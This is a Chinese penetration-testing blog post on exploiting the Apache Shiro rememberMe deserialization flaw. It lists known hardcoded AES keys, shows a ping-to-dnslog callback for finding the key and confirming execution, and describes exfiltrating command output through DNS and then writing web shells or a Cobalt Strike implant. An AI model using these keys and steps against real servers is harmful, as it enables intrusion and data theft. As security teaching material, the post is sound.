结合dnslog进行shiro反序列化利用

    渗透测试 lz520520 4年前 (2020-01-06) 1643次浏览

    0x00 前言

    shiro这个漏洞简单说下,通过cookie字段设置rememberMe,构造序列化的payload,让服务器反序列化执行的,payload大致如下。

    结合dnslog进行shiro反序列化利用

    然后payload的生成流程是这样的:

    16字节AES初始化向量+序列化字符串-->AES加密-->base64编码。

    关键点在于AES的key,shiro1.2.4以下是硬编码的,所以如果知道key就能成功利用这个漏洞,但不同项目中可能会有不同的key,官网给出的默认key是kPH+bIxk5D2deZiIxcaaaA==,如果使用这个模块的开发者没改,那就是这个。这边从网上收集到了20个key,如果这些都没有,那就没戏了。

     

    2AvVhdsgUs0FSA3SDFAdag==

    3AvVhmFLUs0KTA3Kprsdag==

    4AvVhmFLUs0KTA3Kprsdag==

    5aaC5qKm5oqA5pyvAAAAAA==

    6ZmI6I2j5Y+R5aSn5ZOlAA==

    bWljcm9zAAAAAAAAAAAAAA==

    wGiHplamyXlVB11UXWol8g==

    Z3VucwAAAAAAAAAAAAAAAA==

    MTIzNDU2Nzg5MGFiY2RlZg==

    U3ByaW5nQmxhZGUAAAAAAA==

    5AvVhmFLUs0KTA3Kprsdag==

    fCq+/xW488hMTCD+cmJ3aQ==

    1QWLxg+NYmxraMoxAXu/Iw==

    ZUdsaGJuSmxibVI2ZHc9PQ==

    L7RioUULEFhRyxM7a2R/Yg==

    r0e3c16IdVkouZgk1TKVMg==

    bWluZS1hc3NldC1rZXk6QQ==

    a2VlcE9uR29pbmdBbmRGaQ==

    WcfHGU25gNnTxTlmJMeSpw==

     

    这个漏洞无直接回显,所以需要结合dnslog进行漏洞利用

    后续的漏洞利用,我会结合我写的工具来讲。

     

    0x01 DNSLOG原理简介

    在渗透测试中,SQL盲注、命令盲注等漏洞是较难利用的,由于无回显,这类漏洞即使存在也显得有些鸡肋。针对此类问题,我们可以使用DNSLOG来进行突破。DNSLOG是一种回显机制,使用者可以通过DNS解析日志来读取漏洞的回显。

    DNS的解析是递归与迭代相结合的,下面给出了当我们访问http://www.cloudcrowd.com.cn时,DNS的解析过程示意图。

    结合dnslog进行shiro反序列化利用

    其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。

    实际上就是,就是设置NS记录,让所有如dns.cloudcrowd.com.cn的子域名均找自己搭建的DNS服务器解析,再从这台DNS服务器上取解析日志即可。

    配置大致如下

    A记录:dnslog.cloudcrowd.com.cn 192.168.1.1

    NS记录: dns.cloudcrowd.com.cn dnslog.cloudcrowd.com.cn

     

    0x02 漏洞验证

    根据上面描述,第一步肯定是要先找到匹配的key。

    填入URL,然后命令填写DNSLOG对应的域名,然后点击获取信息,我会使用ysoserial里的URLDNS这个payload进行测试,将20个key的前三位和DNSLOG域名拼接,分别构造好payload发送给目标,也就是循环发送20次,因为20个key的前三位都不一样,所以如果dnslog接收到哪个前三位的域名,就可以找到指定的key了。(URLDNS实际参数格式为http://www.test.com,程序里会自动补全,所以这里只需要域名就可以了)

    结合dnslog进行shiro反序列化利用

     

    然后在dnslog模块,填写好API,如我搭建平台的API,点击立即获取就可以看到解析成功的域名。

    这里看到前3位是kPH,查找key列表,完整的是kPH+bIxk5D2deZiIxcaaaA==

    结合dnslog进行shiro反序列化利用

     

    这样一键我们可以验证漏洞存在,并找到匹配的key。如果都没有,要嘛不存在漏洞,要嘛key不对,要嘛dns流量都不了网。

     

    0x03 漏洞利用

    上一步获取的key,填入“设置Cookie”里,即表示后面AES加密使用的key,然后需要选择对应的ysoserial payload,这里选择的是CommonsBeanutils1,然后输入命令,点击"执行"或者直接回车即可发送攻击包。

    结合dnslog进行shiro反序列化利用

     

    ysoserial目前集成了一些。

    结合dnslog进行shiro反序列化利用

     

    1.找到能成功命令执行的payload

    上面应该先使用ping 12345.test.xxxx.dnslog.cn命令,然后分别测试哪个ysoserial可以成功在服务端执行。在shiro里常遇到的是CommonsBeanutils1和CommonCollections10,命令不变,先测着payload。同样dnslog看到如下就表示ysoserial的当前payload是可以的。

    结合dnslog进行shiro反序列化利用

     

     

    2.判断目标是linux还是windows,我在dnslog小技巧里也说到了。这里就不赘述了。我用ping.exe成功收到dnslog,表明目标为windows系统。

     

     

    3.下一步就是其他命令执行了,包括写shell之类的。

    当然,因为无直接回显,所以同样使用dnslog间接回显。需要注意一点,执行命令最好使用base64编码,保证无特殊字符导致命令执行失败,比如反引号、百分号。

     

    windows我写的powershell脚本,参考小技巧里的。

    构造好的脚本,做个base64编码即可,我工具里也集成了一些命令编码,包括powershell/python/perl/bash,如下

    结合dnslog进行shiro反序列化利用

     

    然后将编码后的命令复制到漏洞利用的命令栏执行即可。

    最后就可以通过API看到dnslog了。

    结合dnslog进行shiro反序列化利用

    看到这样的stop域名,表示传输完毕。

    结合dnslog进行shiro反序列化利用

     

    这个dnslog还不能直观看到执行结果,需要将dnslog去重根据编号拼接,然后base64解码才行。

    我这里也考虑到这一点,设计了一个解码模块,预先设置好dnslog格式,如下

    结合dnslog进行shiro反序列化利用

    用{}括起来的为变量参数,{number}表示该位置提取的为编号,{result}表示为分段传输的数据。

    设置解码次数为1,解码类型为unicodeBase64,其他两种raw表示原生无解码字符串,base64就是普通解码。powershell编码比较特殊而已。还有base64的alphanet会需要调整,因为域名里不能有+/,所以编码的时候替换了这两位,需要还原。

    最后点击解码就可以看到上图的内容,可以看到当前目录和目录下文件,就可以进行下一步写shell操作了。

     

    其他命令执行也如上,只是dnslog解析可能会比较久,多等一会就行,上面一个dir分成上百段传输了,一个是目录文件多,还有就是unicode会令大部分原始数据长度乘2,base64编码再多加1/3,所以就很长。

     

    接下来写shell啥的就不演示了,脚本构造吧,这里只演示结合dnslog利用的方法。

    当然如果目标不仅仅只是DNSLOG出网,你直接用powershell弹一个cs马更香。

     

    0x04 总结

    先是漏洞验证,使用key遍历方式,并结合dnslog来判断是否存在漏洞和对应的key。

    然后漏洞利用,先要确认命令执行的payload,接着判断操作系统来选择不同的命令集,最后就是权限获取了,上马写shell都行。

    中间dnslog分段传输和一键解码可以方便许多。目前工具的这个模块还只能配合我的dnslog平台做,主要是ceye的API容易500,也暂时没有其他的dnslog平台好用的。我们维护这个可控的平台其实也没啥问题。

     

    1.2.4以上修复该漏洞的方式是使用动态密钥,你不升级版本,修改下密钥也是没问题的,只要密钥不泄露了。

     

    0x05参考

    https://xz.aliyun.com/t/6493

     


    Security , 版权所有丨如未注明 , 均为原创丨
    转载请注明原文链接:结合dnslog进行shiro反序列化利用
    喜欢 (0)